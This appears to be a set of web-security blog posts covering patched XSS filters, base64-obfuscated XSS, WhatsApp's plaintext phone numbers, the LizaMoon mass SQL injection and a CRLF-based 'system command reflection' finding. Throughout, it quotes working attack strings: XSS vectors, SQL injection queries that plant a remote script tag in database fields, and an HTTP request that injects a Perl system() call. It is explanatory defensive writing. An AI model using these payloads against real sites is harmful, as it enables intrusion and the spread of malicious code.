Big Data & Web Application Security

Earlier this year I published an article that show how the analysis of large-scale, global multi-site traffic may reveal interesting trends and malicious behavior patterns, and as a result can help improve protections against the next round of attacks.
Using the Big Data analysis can help with getting new security insights that can not be seen otherwise.
To read more about the analysis - Analyzing a Malicious Botnet Attack Campaign Through the Security Big Data Prism 

If You Can’t See the Mess Then There is No Mess!?

For those who know me well, it is not a secret, that I am a little disorganized. Not with extreme level but as I call it: “I have my own (messy) way to organize my stuff”. Things get complicated when my wife gets into the picture, well… she is very organized and not always appreciate my special organization techniques. One of my techniques includes the philosophy of “if you can’t see the mess then there is no mess”, the problem with such an approach is that over time it tends to fail, the mess tends to be revealed  sooner or later and results with me getting the hit (gracefully).

This leads me to some web application security examples I got across lately.

In the first example, I noticed a Cross-Site Scripting vulnerability that was badly patched (see more details below), while mitigation clearly solves injection for some XSS attack payloads, other attack payloads are still exploitable leaving the vulnerability not fully mitigated.
   

On an entirely different case, I was able to see an HTTP parameter that looks like it contains encoded value, when looking into that HTTP parameter I could see that it was double hidden with the same easy-to-decode encoding technique (encoded twice). In other words, 2 blanks full of holes were used to cover a Cross-Site Scripting vulnerability in this parameter assuming that way no one will find it.

While my personal “organization” techniques can (in some cases) be accepted in forgiveness, uncompleted patching of security vulnerabilities or the usage of obfuscation techniques is an unnecessary risk that may result with real damage to application’s users and application administrator.       

At this point a cheap gesture is essential so…

Honey, the love of my life this blog is far from truly expressing my love and respect for you!

      

XSS example

When trying to inject several attack vectors (for example: <script>alert(1)</script>) the request is being blocked, but when trying to send attack vector that looks like <img src= onmouseover="alert(1)"> the request is not being blocked. From my experience in many cases this kind of mistakes are done when the process of mitigation vulnerabilities is performed in a limited time frame when the goal of passing the security audit.

Base64 example

When looking into that HTTP parameter I could see that it was double encoded in base64 and as you know based64 encoding can be easily decoded. When sending XSS attack vector double encoded in that parameter I can see that it is vulnerable to XSS. As far as I understand, the mitigation was done that way since application developer wanted to avoid detection of the vulnerability in his code, therefore he used a security by obscurity approach.
While one level of encoding vulnerability can be found easily by almost any given web application scanner, double encoding requires special configuration to scanner and therefore most likely won’t be found.

When My Coffee Machine Started Asking Me For a Password

Well, I never thought I will live to see the day when a domestic coffee machine asks me for a password; I just wanted an espresso, not something fancy like an espresso with steamed milk flavored with caramel Brulée sauce, topped with sweetened whipped cream and caramel Brulée topping…

This domestic dispute between me and my coffee machine makes me wonder about the fine line between securities as disablers vs. securities as enablers.
This line is vague and while information security’s goal is to mitigate threats and risks and as a result- in some cases apply controls, users want “easy to use” functionality without any unnecessary hindrance. Unsatisfied users can abandon service (or switch to tea in my case) and in some cases even pose greater risk by trying to bypass controls.
Don’t get me wrong, off course users also want to feel secure, but in most cases in commercial and business driven services, functionality is more important than security.
In many cases, the balance between security and usability will be in the place where we will get the best security risk mitigation while preserving user’s satisfaction; and when those objectives don’t meet, we may close the gap by other means such as educating users to security awareness.

An example for that can be found when designing authentication mechanism for an application, let’s say web mail, from security point of view we would like to have 3 factors authentication in order to make sure it will be very hard to brute force to the web mail user’s accounts and read their mails. But in most cases we will use one or two factors authentication, taking under consideration users requirements for quick login process.
When the security requirements in the web mail example is to harden security and reduce risks, filling the gap can be done by educating/leading the users to change their password from time to time and cleaning web browser cache when connecting via public desktop etc.

Finding the point of balance that will determine what kind of security control to implement is a tricky job that should consider several variables such as: security risk, threat level, tolerance to usability limitation/obstacles and financial impact of security controls over the business. The process of getting this balance should be fluid and open to changes that are subject of changes in security requirements and usability obstacles.

In my case I brute forced the machine (well I’m a breaker in nature) so don’t tell anybody that the password is “CaffeeLatte” :)

Whats Up With This App?

I had a discussion with a colleague of mine about Facebook privacy issues, his point in the discussion was that he has no secrets and the information that he publishes on Facebook is something he is willing to share even with the risk of this information being out there… I think that this way of thinking is common to many of the internet users, they think positive (don’t we all).  I on the other end know some of the internet mysteries and as a result think of the worst thing that can happen. In order to make my point, I asked this colleague “and what about your phone number, do you mind sharing your phone number with the rest of the world?” at that point I could see that I made him think.

Well the point here is that some of the information that we consider confidential is out their without our knowledge, take for example a very popular mobile application named WhatsApp. Each time you start working with the application your phone number is being sent in plain-text (this information is not new it was reported more than a year ago) and since using wifi networks in order to avoid using SMS messages is what this application is all about,  anyone that sniffs the wifi network I’m using can see my phone number!

Think of the following scenario, I’m at the airport using WhatsApp over the airport public wifi network, someone sniffs this traffic, sees my phone number, calls me and presents himself as the taxi driver that was sent to pick me up, well you can imagine where this story can end…

While mobile apps bring a lot of technological improvements to our life, answer some of our needs and may save us money. it may also bring risk to our privacy that can lead to the situation where all our personal information can be misused in so many ways. The mobile apps industry is in its early days and therefore security awareness is not the main concern for those  who develop those apps. Therefore it is our obligation as end users to be cautious and aware of the risks out there.   

SQL injection LizaMoon

I might be naïve but each time I analyze mass SQL injection incident I can’t stop thinking on the fact that this type of vulnerability is living with us for more than 10 years!
And yet again in the last few days we can see a lot of information on a new automated SQL injection attack called LizaMoon effecting over 1,500,000 pages all around the world. The interesting thing about this attack is that the attack scenario consists of several steps:

• Automated mass SQL injection attack that tries to inject Javascript code (The Javascript source code is located on a remote application) to as many pages as possible in the application, using the following payloads:

SQL query that retrieves tables’ and fields names

11011+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))--

SQL update query that injects Javascript to database

Id = 1’+ update + tb + set + Descripcion = REPLACE (cast (Descripcion + as + varchar (8000)), cast (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105 ) .... </ title> <script src=httq:// lazemxxn .com / ur. php> </ script> ...% 2Bchar (116)% 2Bchar (62) + as + varchar (8000)), cast (char (32) + as + varchar (8 )))--

Id = 1 '+ update + tblMembers + set + Forename = REPLACE (cast (Forename + as + varchar ( 8000)), cast (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105) .... </ title> <script src = httq: / / lazemxxn. com / ur. php> </ script> ...% 2Bchar (116)% 2Bchar (62) + as + varchar (8000)), cast (char (32) + as + varchar (8)) ) --

• The injected Javascript redirect the user to malicious application which pretends to scan client computer for viruses and finds some bad malwares on his computer – of course, it is all just a big scam.
• At this point, the user is being asked to download the (fake) anti-virus software named “Windows Stability Center”.
• After running the (fake) anti-virus software, the program UI displays warning saying a lot of problems were discovered on the PC and the user is being asked to buy full version of the “Windows stability center” product, asking him to send his credentials, including credit card and CVV number.

As you can see it is a very sophisticated and complex attack _just_ to still users’ credit cards numbers.
Going back to the beginning of this post, since SQL injection was first introduced, application security was fortified by IDS/IPS, application security awareness (OWASP), security scanners, static code analysis and web application firewall, and still this attack is alive and kicking.

More information can be found in the following links below.
An interesting video presented by Websense:

Detailed attack scenario:

http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx

System command reflection

While performing security testing on a web app, I found a vulnerability that reminded me of a couple of things, namely:

a) Web application threats are out there waiting for the chance to attack both web applications and end users.
b) Even though I’ve seen some pretty crazy defects/vulnerabilities in web applications, I can still be surprised from new stuff.

OK, so the first page I accessed was the login page.

 My first attempt was to try sending incorrect user credentials; the response was an “invalid user” message (in Hebrew). So far, so good.

 

Next, I tried to use an out-of-the-ordinary character (Quote “) in the user password field and bingo, I got my first clue; the reply contained SQL error handling information (a funny location for standard error handling output).

HTTP/1.1 200 OK
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “ at line 1
Content-Type: application/x-perl
Content-Length: 0

While this in itself was a severe enough indication of a possible SQL injection vulnerability, it wasn’t the only issue here. The reply returned with Content-Type header containing the value “application/x-perl” and as a result the browser tried to open the web server reply as a Perl program.

OK, so the reply was considered a Perl file - what’s the big deal? Now let’s try to manipulate the notorious error handling header!

Sending a specially crafted payload in the password field with CRLF (line break) characters got me the expected results; I now have control over the reply body (meaning the reply is considered by the browser as a Perl file and I can write my own code into it)!

I sent this payload in the password field:"%0d%0a%0d%0a system('dir "C:\Documents and Settings\administrator"')# . It is supposed to execute a dir command on a client PC. Below is an example of how the raw HTTP request looked:

POST /cgi-bin/menu.pl HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

Username=test&Password=test"%0d%0a%0d%0a system('dir "C:\Documents and Settings\administrator"')#

And this is the reply I’m getting from the web server (the payload is reflected in its content):

HTTP/1.1 200 OK
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “
Content-Type: application/x-perl
Content-Length: 0

system('dir "C:\Documents and Settings\administrator"')#"' at line 1

Going back to the open file dialog shown above, by pressing on the “OK” button I can see the command line prompt window being opened and the Perl program running on my desktop, executing the system command “dir "C:\Documents and Settings\administrator"”. This is how it looks:

Now using this technique to allure a naïve user to open the file will result in something I refer to as “system command reflection”.

There’s an interesting relationship here between quality assurance and security assurance; while both will detect the same issues, the first will classify it as defect in the application and the second as security vulnerability (often the difference between the two is simply the severity of the defect/vulnerability).

This example shows that hazards are all around us making the web a dangerous place for both applications and end users alike; no doubt both (i.e. applications and users) would benefit from being more educated and more protected against the risks that surround us.

How to Improve Security Without Knowing Anything About It

There are expert penetration testers who know how to find security vulnerabilities. But their specific methodology, not to mention their relatively late involvement in the application security assurance process, is often not enough to find all the holes. Additional resources, with different skills and a more intense involvement in the development lifecycle, are required.


One way is to deliberately use personnel without a security background, such as QA engineers, for generic security testing activities; in the presentation below, shown in the Sigist 2010 conference in Tel Aviv, I suggested how it can be done by using simple QA methodologies of “verification and validation” - something that requires classic QA skills.


In conclusion incorporating QA resources in the process of security assurance will advance the ultimate goal of improving application security.


verification validation and ... security

Secquality Assurance

No doubt in my mind that quality assurance and application security are closely related, the symbioses between these worlds can be defined by the concept of “Web application security can only be achieved while having good quality assurance process” or in other words security vulnerability is the result of failure in the quality assurance process (AKA development life cycle).
Even though, when asking R&D and QA departments leaders on the challenges on the way of designing, implementing and testing software product I doubt if security will be the top 5 things that come to mind.

Why is that?
Well I can think of couple of reasons:
1. Security testing requires trained personal which is not common in small/mid range organizations.
2. What I consider “closely related” is not trivial concept in the quality assurance industry, more education is still required.
3. Security incidents are not always categorized as such, for example attacks such as DoS and DDoS (Denial of Service/ Distributed Denial of Service) that can result in application service failure are not detected easily and not associated to security but rather to defect in the application.

Bridging the gap between these worlds is not an easy job but it could be done with the proper education & training.